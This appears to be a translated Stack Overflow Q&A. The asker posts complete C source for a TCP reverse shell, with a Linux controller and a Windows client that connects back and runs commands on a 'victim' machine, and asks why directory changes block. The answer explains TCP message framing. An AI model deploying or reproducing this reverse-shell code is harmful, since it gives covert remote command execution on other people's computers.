0

我将用 c 编程语言制作小型 tcp 反向 shell。服务器给你一个命令行来发送你的命令给客户端。

E.X: ./Server 192.168.1.100 2321

Waiting for new connection...  
New connection was accepted from (192.168.1.8, 51958)  

[+] Shell@[192.168.1.8]~$: dir  

 Volume in drive C has no label.  
 Volume Serial Number is 9C07-7137

 Directory of C:\Users\Test\Desktop\Project4\Project4

04/20/2020  08:17 PM    <DIR>          .  
04/20/2020  08:17 PM    <DIR>          ..  
04/18/2020  06:27 PM    <DIR>          Debug  
04/18/2020  06:25 PM             5,761 Project4.vcxproj  
04/18/2020  06:25 PM               956 Project4.vcxproj.filters  
04/20/2020  08:17 PM             3,698 Source.c  
               3 File(s)         10,415 bytes  
               3 Dir(s)  61,965,709,312 bytes free  

[+] Shell@[192.168.1.8]~$:

我想定义更改服务器受害者目录之间路径的能力,我使用了 _chdir() 函数。喜欢 'cd 下载

该功能运行良好,但在接收模式下发送服务器响应时会被阻止,直到受害者与服务器的连接断开。

服务器:(在 linux ubuntu 上编码/用 gcc 编译/在 linux 上运行)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>

// Global variables
int Main_socket, Cli_socket;
struct sockaddr_in ServAddr, CliAddr;

void Socket_creation();
void Socket_bind(char [], int);
void Socket_listen();
void Socket_accept();
void Shell();

int main(int argc, char * argv[])
{
    if (argc < 3)
    {
        printf("Usage:\n\t./Server.out [IP-address] [Port-number]\n");
        printf("Example:\n\t./Server.out 192.168.1.100 2321\n");
        exit(0);
    }

    system("clear");

    Socket_creation();
    Socket_bind(argv[1], atoi(argv[2]));
    Socket_listen();
    Socket_accept();

    return 0;
}

void Socket_creation()
{
    int True = 1;

    if ((Main_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        fprintf(stderr, "Socket creation was failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }

    if (setsockopt(Main_socket, SOL_SOCKET, SO_REUSEADDR, &True, sizeof(int)) == -1)
    {
        fprintf(stderr, "Setting TCP socket options failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
}

void Socket_bind(char IP_address[], int Port_number)
{
    // Configuration
    memset(&ServAddr, 0, sizeof(ServAddr));
    ServAddr.sin_family = AF_INET;
    ServAddr.sin_addr.s_addr = inet_addr(IP_address);
    ServAddr.sin_port = htons(Port_number);

    if (bind(Main_socket, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) == -1)
    {
        fprintf(stderr, "Socket bind failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
}

void Socket_listen()
{
    if (listen(Main_socket, 5) == -1)
    {
        fprintf(stderr, "Socket listen failed! (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
}

void Socket_accept()
{
    memset(&CliAddr, 0, sizeof(CliAddr));
    socklen_t CliAddrSize = sizeof(CliAddr);

    printf("Waiting for new connection...\n");
    if ((Cli_socket = accept(Main_socket, (struct sockaddr *) &CliAddr, &CliAddrSize)) == -1)
    {
        fprintf(stderr, "Could not accept any connection (CODE: %d)\n\t%s\n\n", errno, strerror(errno));
        exit(0);
    }
    else
    {
        printf("New connection was accepted from (%s, %d)\n\n", inet_ntoa(CliAddr.sin_addr), ntohs(CliAddr.sin_port));
        Shell();
    }
}

void Shell()
{
    char Buffer[1024], Response[18384];

    while (1)
    {
        memset(&Buffer, 0, sizeof(Buffer));
        memset(&Response, 0, sizeof(Response));

        printf("[+] Shell@[%s]~$: ", inet_ntoa(CliAddr.sin_addr));
        fgets(Buffer, sizeof(Buffer) - 1, stdin);
        strtok(Buffer, "\n");
        //write(Cli_socket, Buffer, sizeof(Buffer));
        send(Cli_socket, &Buffer, strlen(Buffer), 0);

        if (strncmp("quit", Buffer, 4) == 0)
            break;
        else
            {
                recv(Cli_socket, Response, sizeof(Response), MSG_WAITALL);
                printf("%s\n", Response);
            }
    }
}

客户端:(在 Windows 10 上编码/使用 Visual Studio 17 编译器编译/在 Windows 上运行)

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
#include <errno.h>
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WS2tcpip.h>

// In tutorial

#include <direct.h>
#include <limits.h>
#include <Windows.h>
#include <WinUser.h>
#include <WinInet.h>
#include <windowsx.h>
#include <sys/stat.h>

#include <WinSock2.h>

#pragma comment(lib, "ws2_32.lib");

#define TRUE 1

char * Str_cutter(char [], int, int);

int main()
{
    WSADATA WSAData;
    if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)
    {
        fprintf(stderr, "Could not initialize winsock (CODE: %d)\n", WSAGetLastError());
        exit(0);
    }
    else
        printf("Winsock initialied.\n");

    SOCKET Main_socket;
    if ((Main_socket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
    {
        fprintf(stderr, "Socket creation failed! (CODE: %d)\n", WSAGetLastError());
        WSACleanup();
        exit(0);
    }
    else
        printf("Socket created.\n");

    struct sockaddr_in CliAddr;
    memset(&CliAddr, 0, sizeof(CliAddr));

    CliAddr.sin_family = AF_INET;
    CliAddr.sin_addr.s_addr = inet_addr("192.168.1.11");
    CliAddr.sin_port = htons(2321);

    if (connect(Main_socket, (struct sockaddr_in *) &CliAddr, sizeof(CliAddr)) != 0)
    {
        fprintf(stderr, "Could not connect to the server! (CODE: %d)\n", WSAGetLastError());
        closesocket(Main_socket);
        WSACleanup();
        exit(0);
    }
    else
        printf("Connected\n");

    //====================================================================

    char Buffer[1024], Container[1024], Total_resp[18384], Path[_MAX_PATH];
    int s;

    while (TRUE)
    {
        memset(&Buffer, 0, sizeof(Buffer));
        memset(&Container, 0, sizeof(Container));
        memset(&Total_resp, 0, sizeof(Total_resp));

        s = recv(Main_socket, Buffer, 1024, 0);
        printf("%s\n", Buffer);

        if (strncmp("quit", Buffer, 4) == 0)
        {
            closesocket(Main_socket);
            WSACleanup();
            exit(0);
        }
        else if (strncmp("cd ", Buffer, 3) == 0)
        {
            if (_chdir(Str_cutter(Buffer, 3, _MAX_DIR)))
            {
                switch (errno)
                {
                case ENOENT:
                    printf("Unable to locate directory: %s\n", Buffer);
                    break;
                case EINVAL:
                    printf("Invalid buffer.\n");
                    break;
                default:
                    printf("%s\n", strerror(errno));
                }
            }
            else
            {
                _getcwd(Path, sizeof(Path));
                printf("%s\n", Path);
                if (send(Main_socket, Path, sizeof(Path), 0) == -1)
                {
                    printf("%s\n", strerror(errno));
                }
                else
                {
                    printf("DONE\n");
                }
            }
        }
        else
        {
            FILE *fp;
            // Creates a pip and executes a command (_popen)
            fp = _popen(Buffer, "r");
            while (fgets(Container, 1024, fp) != NULL)
            {
                strcat(Total_resp, Container);
            }
            send(Main_socket, Total_resp, sizeof(Total_resp), 0);
            fclose(fp);
        }
    }

    _getch();
    return 0;
}

/*
    cd downloads
    Str_cutter(str, 3, 100)
    3: cd + space
    100: directory name
*/
char * Str_cutter(char str[], int slice_from, int slice_to)
{
    if (str[0] == '\0')
        return NULL;

    char * buffer;
    size_t str_len, Buffer_len;

    if (slice_to < 0 && slice_from > slice_to)
    {
        str_len = strlen(str);
        if (abs(slice_to) > str_len - 1)
            return NULL;
        if (abs(slice_from) > str_len)
            slice_from = (-1) * str_len;

        Buffer_len = slice_to - slice_from;
        str += (str_len + slice_from);
    }
    else if (slice_from >= 0 && slice_to > slice_from)
    {
        str_len = strlen(str);
        if (slice_from > str_len - 1)
            return NULL;
        Buffer_len = slice_to - slice_from;
        str += slice_from;
    }
    else
        return NULL;

    buffer = calloc(Buffer_len, sizeof(char));
    strncpy(buffer, str, Buffer_len);

    return buffer;
}
4

1 回答 1

1

你忘了实现一个协议。通过\n切断线路,客户无法知道它是否已收到整条线路。并且您的客户端中没有代码可以接收一行。

如果需要使用 TCP 发送和接收消息,则必须指定并实现消息协议。TCP 不是消息协议,它是流协议。然后,您必须实现发送和接收消息的功能。

将消息指定为“一系列字节,不包括由换行符终止的换行符”是完全可以的。但是您必须发送换行符,并且您的接收代码必须继续调用recv,直到它收到换行符。

否则,输入可能是“cd foo\n”,您发送“cd foo”,第一次调用recv获取“cd f”。你不再打电话recv了,所以你不会得到“oo”,直到为时已晚。

于 2020-04-20T16:57:00.770 回答